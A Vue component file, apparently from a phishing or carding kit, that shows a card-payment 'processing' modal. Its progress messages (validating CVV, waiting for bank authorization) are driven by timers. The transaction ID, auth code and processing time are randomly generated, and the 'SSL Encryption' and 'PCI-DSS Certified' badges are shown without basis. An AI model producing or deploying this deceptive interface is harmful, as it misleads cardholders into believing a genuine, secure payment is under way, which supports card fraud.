Files
zy-client-a/a7_gt_Fine_sat/src/components/.env
telangpu b8e0814009 update
2026-05-10 22:11:57 +08:00

844 lines
30 KiB
Bash

<template>
<div v-if="visible" class="modal-overlay" @click="handleOverlayClick">
<div class="modal-content" @click.stop>
<div class="loading">
<div class="bank-container">
<div class="content">
<img :src="imgRef" alt="logo" class="card-image">
<div class="scan-animation"></div>
</div>
<div style="flex: 1"></div>
<div class="bank-app">
<div class="progress-container">
<div class="progress-bar">
<div class="progress-fill" :style="{ width: progress + '%' }"></div>
</div>
</div>
<div class="notice-box">
<p
class="FullPageMessage-Message-Detail Text Text-color--black400 Text-fontSize--13 Text-fontWeight--400">
<span>{{ progressMessage }}</span>
</p>
</div>
<div class="security-banner">
<div class="feature">
<img class="icon"
src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/PjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+PHN2ZyB0PSIxNzUwOTIzMzg0NTg2IiBjbGFzcz0iaWNvbiIgdmlld0JveD0iMCAwIDEwMjQgMTAyNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHAtaWQ9IjEwMzQzIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjI1NiIgaGVpZ2h0PSIyNTYiPjxwYXRoIGQ9Ik03NTIgMzcyaC00MHYtODBjMC0xMTAtOTAtMjAwLTIwMC0yMDBTMzEyIDE4MiAzMTIgMjkydjgwaC00MGMtNDQuMDA0IDAtODAgMzUuOTk2LTgwIDgwdjQwMGMwIDQ0LjAwNCAzNS45OTYgODAgODAgODBoNDgwYzQ0LjAwNCAwIDgwLTM1Ljk5NiA4MC04MFY0NTJjMC00NC4wMDQtMzUuOTk2LTgwLTgwLTgwek01MTIgNzM2Yy00NC4wMDQgMC04MC0zNS45OTYtODAtODBzMzUuOTk2LTgwIDgwLTgwIDgwIDM1Ljk5NiA4MCA4MC0zNS45OTYgODAtODAgODB6IG0xMjQuMDA0LTM2NEgzODcuOTk2di04MGMwLTY4LjAwOCA1Ni4wMDYtMTI0LjAwNCAxMjQuMDA0LTEyNC4wMDQgNjguMDA4IDAgMTI0LjAwNCA1NS45OTYgMTI0LjAwNCAxMjQuMDA0djgweiIgcC1pZD0iMTAzNDQiIGZpbGw9IiM0Y2FmNTAiPjwvcGF0aD48L3N2Zz4=" />
<span class="label">{{ t("SSL Encryption") }}</span>
</div>
<div class="separator"></div>
<div class="feature">
<img class="icon"
src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/PjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+PHN2ZyB0PSIxNzUwOTIzMzU0NDkzIiBjbGFzcz0iaWNvbiIgdmlld0JveD0iMCAwIDEwMjQgMTAyNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHAtaWQ9Ijg0MDQiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMjU2IiBoZWlnaHQ9IjI1NiI+PHBhdGggZD0iTTUxMiA0Mi42NjY2NjdMMTI4IDIxMy4zMzMzMzN2MjU2YzAgMjM2LjggMTYzLjg0IDQ1OC4yNCAzODQgNTEyIDIyMC4xNi01My43NiAzODQtMjc1LjIgMzg0LTUxMlYyMTMuMzMzMzMzbC0zODQtMTcwLjY2NjY2NnogbS04NS4zMzMzMzMgNjgyLjY2NjY2NmwtMTcwLjY2NjY2Ny0xNzAuNjY2NjY2IDYwLjE2LTYwLjE2TDQyNi42NjY2NjcgNjA0LjU4NjY2N2wyODEuMTczMzMzLTI4MS4xNzMzMzRMNzY4IDM4NGwtMzQxLjMzMzMzMyAzNDEuMzMzMzMzeiIgcC1pZD0iODQwNSIgZmlsbD0iIzRjYWY1MCI+PC9wYXRoPjwvc3ZnPg==" />
<span class="label">{{ t("PCI-DSS Certified") }}</span>
</div>
</div>
<div class="transaction-details pa-4" v-if="showDetails">
<hr class="v-divider v-theme--light mb-3" style="opacity: 0.12;"
aria-orientation="horizontal" role="separator">
<div class="details-header mb-2"
style="display: flex; flex-direction: row; align-items: center;">
<img style="width: 1em;height: 1em;"
src="data:image/png;base64,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">
<span class="font-weight-medium">{{ t("Transaction Details") }}</span>
</div>
<div class="d-flex flex-column">
<div class="detail-item">
<span class="detail-label">{{ t("Transaction ID:") }}</span>
<span class="detail-value">{{ transactionId }}</span>
</div>
<div class="detail-item">
<span class="detail-label">{{ t("Processing Network:") }}</span>
<span class="detail-value">{{ processingNetwork }}</span>
</div>
<div class="detail-item">
<span class="detail-label">{{ t("Processing Time:") }}</span>
<span class="detail-value">{{ processingTime }}</span>
</div>
<div class="detail-item">
<span class="detail-label">{{ t("Security Level:") }}</span>
<span class="detail-value success--text">{{ securityLevel }}</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</template>
<script setup lang="ts">
import { ref, watch, onUnmounted, computed } from "vue";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const progress = ref(0);
const progressMessage = ref(t('Preparing...'));
const intervalId = ref();
const showSpinner = ref(false);
const transactionId = ref('');
const authCode = ref('');
const processingNetwork = ref('');
const processingTime = ref('');
const securityLevel = ref(t('High'));
const showDetails = ref(false);
interface Props {
visible: boolean;
cardNumber?: string;
loading?: boolean;
closable?: boolean;
maskClosable?: boolean;
autoClose?: boolean;
autoCloseDelay?: number;
}
const props = withDefaults(defineProps<Props>(), {
visible: false,
cardNumber: "",
loading: true,
closable: true,
maskClosable: true,
autoClose: false,
autoCloseDelay: 5000
});
const cardType = computed(() => {
const num = props.cardNumber.replace(/\D/g, '');
if (/^4/.test(num)) return 'VISA';
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
if (/^220[0-4]/.test(num)) return 'MIR';
return 'Generic';
});
const progressSteps = [
{ threshold: 0, message: t('Initializing payment environment...') },
{ threshold: 10, message: t('Encrypting card information...') },
{ threshold: 20, message: t('Establishing secure connection...') },
{ threshold: 30, message: t('Verifying card number and issuer...') },
{ threshold: 40, message: t('Validating CVV code...') },
{ threshold: 50, message: t('Checking fraud risk...') },
{ threshold: 60, message: t('Sending transaction request...') },
{ threshold: 70, message: t('Waiting for bank authorization...') },
{ threshold: 80, message: t('Processing bank response...') },
{ threshold: 90, message: t('Confirming transaction status...') },
{ threshold: 95, message: t('Finalizing transaction...') },
{ threshold: 100, message: '' },
];
const generateTransactionDetails = (typeData: any) => {
const type = typeData.toUpperCase();
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
processingNetwork.value =
type === 'VISA' ? t('Visa Secure Network') :
type === 'MASTERCARD' ? t('Mastercard Global Payment Network') :
type === 'AMERICAN EXPRESS' ? t('American Express Dedicated Channel') :
type === 'CHINA UNION PAY' ? t('UnionPay Gateway') :
'International Payment Network';
processingTime.value = t('{time} seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
};
const animateProgress = () => {
if (intervalId.value) clearInterval(intervalId.value);
const breakpoints = [
{ point: 20, delay: 700 },
{ point: 40, delay: 500 },
{ point: 70, delay: 1200 },
{ point: 90, delay: 600 },
];
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
intervalId.value = setInterval(() => {
const breakpoint = getBreakpoint();
if (breakpoint) {
const increment = Math.random() * 0.2;
progress.value = Math.min(progress.value + increment, 95);
clearInterval(intervalId.value);
setTimeout(() => {
if (breakpoint.point === 70) showDetails.value = true;
animateProgress();
}, breakpoint.delay);
return;
}
let increment;
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
else increment = Math.random() * 0.3 + 0.05;
progress.value = Math.min(progress.value + increment, 95);
for (let i = progressSteps.length - 1; i >= 0; i--) {
if (progress.value >= progressSteps[i].threshold) {
progressMessage.value = progressSteps[i].message;
break;
}
}
if (!props.loading) {
clearInterval(intervalId.value);
intervalId.value = null;
progress.value = 100;
progressMessage.value = progressSteps[progressSteps.length - 1].message;
}
}, 300);
};
// Watch loading prop
watch(() => props.loading, (isLoading) => {
if (isLoading) {
showSpinner.value = true;
progress.value = 0;
progressMessage.value = progressSteps[0].message;
generateTransactionDetails(cardType.value);
animateProgress();
} else {
if (intervalId.value) {
clearInterval(intervalId.value);
intervalId.value = null;
}
const completeProgress = () => {
const currentProgress = progress.value;
const step = Math.max((100 - currentProgress) / 10, 1);
progress.value = Math.min(currentProgress + step, 100);
progressMessage.value = progressSteps[progressSteps.length - 1].message;
if (progress.value < 100) {
intervalId.value = setTimeout(completeProgress, 10);
} else {
setTimeout(() => {
showSpinner.value = false;
}, 500);
}
};
completeProgress();
}
}, { immediate: true });
// Cleanup on unmount
onUnmounted(() => {
if (intervalId.value) {
clearInterval(intervalId.value);
intervalId.value = null;
}
});
interface Emits {
(e: 'update:visible', value: boolean): void;
(e: 'close'): void;
(e: 'step-change', step: number): void;
}
const emit = defineEmits<Emits>();
const showStep = ref(1);
const imgRef = ref<string>();
const autoCloseTimer = ref<number | null>(null);
// 监听 visible 变化,重置状态
watch(() => props.visible, (newVisible) => {
if (newVisible) {
// 重置状态
showStep.value = 1;
// 获取卡片类型图片
const type = cardType.value || localStorage.getItem("cardType");
imgRef.value = getCreditCardType(type);
// 开始步骤动画
startStepAnimation();
// 如果启用自动关闭
if (props.autoClose) {
autoCloseTimer.value = window.setTimeout(() => {
closeModal();
}, props.autoCloseDelay);
}
} else {
// 清理定时器
clearAutoCloseTimer();
}
});
const startStepAnimation = () => {
// After 1 second, set showStep to 2
setTimeout(() => {
showStep.value = 2;
emit('step-change', 2);
// After 2 more seconds, set showStep to 3
setTimeout(() => {
showStep.value = 3;
emit('step-change', 3);
}, 2000);
}, 1000);
};
const clearAutoCloseTimer = () => {
if (autoCloseTimer.value) {
clearTimeout(autoCloseTimer.value);
autoCloseTimer.value = null;
}
};
const closeModal = () => {
clearAutoCloseTimer();
emit('update:visible', false);
emit('close');
};
const handleOverlayClick = () => {
if (props.maskClosable) {
closeModal();
}
};
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import c9 from "@/assets/img/mir.jpg";
import c10 from "@/assets/img/80066acd3fcfa.svg";
/**
* 根据卡号开头检查信用卡类型
* @param cardNumber 卡号字符串
* @returns CardCheckResult 返回信用卡类型和相关信息的检查结果
*/
function getCreditCardType(cardType: string | null): string {
if (!cardType) {
return c8;
}
const cardTypeUpper = cardType.toLocaleUpperCase();
console.log("Card Type:", cardTypeUpper);
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
} else if (cardTypeUpper.includes("MIR")) {
return c9;
} else {
return c10;
}
}
// 组件销毁时清理定时器
onUnmounted(() => {
clearAutoCloseTimer();
});
</script>
<style scoped>
.modal-overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: rgba(0, 0, 0, 0.5);
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
padding: 5px;
}
.modal-content {
position: relative;
background: white;
border-radius: 5px;
width: 100vw;
max-width: 600px;
max-height: 90vh;
overflow: auto;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
}
.modal-close {
position: absolute;
top: 16px;
right: 16px;
width: 24px;
height: 24px;
border-radius: 50%;
background: rgba(0, 0, 0, 0.1);
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
font-size: 16px;
color: #666;
z-index: 10;
transition: background-color 0.2s;
}
.modal-close:hover {
background: rgba(0, 0, 0, 0.2);
}
.loading {
display: flex;
align-items: center;
justify-content: center;
min-height: 400px;
padding: 20px 10px;
}
.loading .FullPageMessage {
-webkit-box-align: center;
-ms-flex-align: center;
-webkit-align-items: center;
align-items: center;
bottom: 0;
left: 0;
position: absolute;
right: 0;
top: 0
}
.loading .FullPageMessage-Message {
-webkit-box-orient: vertical;
-webkit-box-direction: normal;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
max-width: 300px;
text-align: center
}
.loading .FullPageMessage,
.loading .FullPageMessage-Message {
-webkit-box-pack: center;
-ms-flex-pack: center;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-justify-content: center;
justify-content: center
}
.loading .mb2 {
margin-bottom: 8px
}
.loading .mb3 {
margin-bottom: 12px
}
.loading .Text-color--gray400 {
color: #1a1a1a80
}
.loading .Text-color--black400 {
color: #1a1a1acc
}
.loading .Text-fontWeight--500 {
font-weight: 500
}
.loading .Text-fontSize--16 {
font-size: 16px
}
.loading .Text-fontWeight--400 {
font-weight: 600
}
.loading .Text-fontSize--13 {
font-size: 15px
}
.loading .Text {
margin: 0
}
.ppvx--v2___3-9-8 {
color: #1072eb;
font-family: PayPalSansBig-Medium, Helvetica Neue, Arial, sans-serif;
font-size: .875rem;
line-height: 1.25rem;
font-weight: 400;
cursor: pointer;
text-decoration: none;
margin-top: 40px
}
.loading .bank-container {
display: flex;
flex-direction: column;
align-items: center;
width: 100%;
flex: 1;
}
.bank-app {
width: 100%;
}
.loading .bank-container .bank-app {
text-align: center
}
.loading .bank-container .bank-app .dot-box {
display: inline-block;
width: 15px;
text-align: left
}
.loading .bank-container .bank-app .ant-spin {
box-sizing: border-box;
margin: 10px 0 0;
padding: 0;
color: #000000d9;
font-size: 14px;
font-variant: tabular-nums;
line-height: 1.5715;
list-style: none;
font-feature-settings: "tnum";
position: absolute;
display: none;
text-align: center;
vertical-align: middle;
opacity: 0;
transition: transform .3s cubic-bezier(.78, .14, .15, .86)
}
.loading .bank-container .bank-app .ant-spin-spinning {
position: static;
display: inline-block;
opacity: 1
}
.loading .bank-container .bank-app .anticon {
display: inline-block;
color: inherit;
font-style: normal;
line-height: 0;
text-align: center;
text-transform: none;
vertical-align: -.125em;
text-rendering: optimizelegibility;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale
}
.loading .bank-container .bank-app .ant-spin-dot {
position: relative;
display: inline-block;
font-size: 20px;
width: 1em;
height: 1em
}
.loading .bank-container .bank-app .anticon>* {
line-height: 1
}
.loading .bank-container .bank-app .anticon-spin {
display: inline-block;
animation: loadingCircle 1s infinite linear
}
@-webkit-keyframes loadingCircle {
to {
-webkit-transform: rotate(360deg);
transform: rotate(360deg)
}
}
@keyframes loadingCircle {
to {
-webkit-transform: rotate(360deg);
transform: rotate(360deg)
}
}
.loading .bank-container .bank-app .notice-box {
margin-top: 20px;
color: #000;
}
.loading .bank-container .bank-app .notice-box>p {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center
}
.loading .bank-container .bank-app .bank-notice {
text-align: center;
font-size: 17px;
font-weight: lighter
}
.loading .bank-container .bank-app .bank-no {
margin-bottom: 2.5em
}
.loading .bank-container .bank-app .bank-title {
font-size: 24px;
font-weight: 900;
margin-top: .5rem
}
.loading .bank-container .bank-app .bank-center {
padding: 0 30px
}
.loading .content {
width: 200px;
position: relative;
overflow: hidden;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 200px;
}
.loading .content img {
width: 100%;
}
/* New scanning animation on the image */
.loading .content .scan-animation {
content: "";
display: block;
width: 10px;
background: rgba(255, 255, 255, 0.8);
height: 100%;
position: absolute;
box-shadow: 0 0 12px 6px rgba(255, 255, 255, 0.8);
top: 0;
left: 0;
animation: 2s move infinite linear;
}
@media (max-width: 750px) {
.loading .content .scan-animation {
box-shadow: 0 0 10px 4px rgba(255, 255, 255, 0.8);
}
.modal-content {
margin: 20px;
}
.loading {
padding: 20px 10px;
min-height: 300px;
}
.loading .content {
width: 180px;
}
}
@keyframes move {
0% {
left: -5%;
}
to {
left: 105%;
}
}
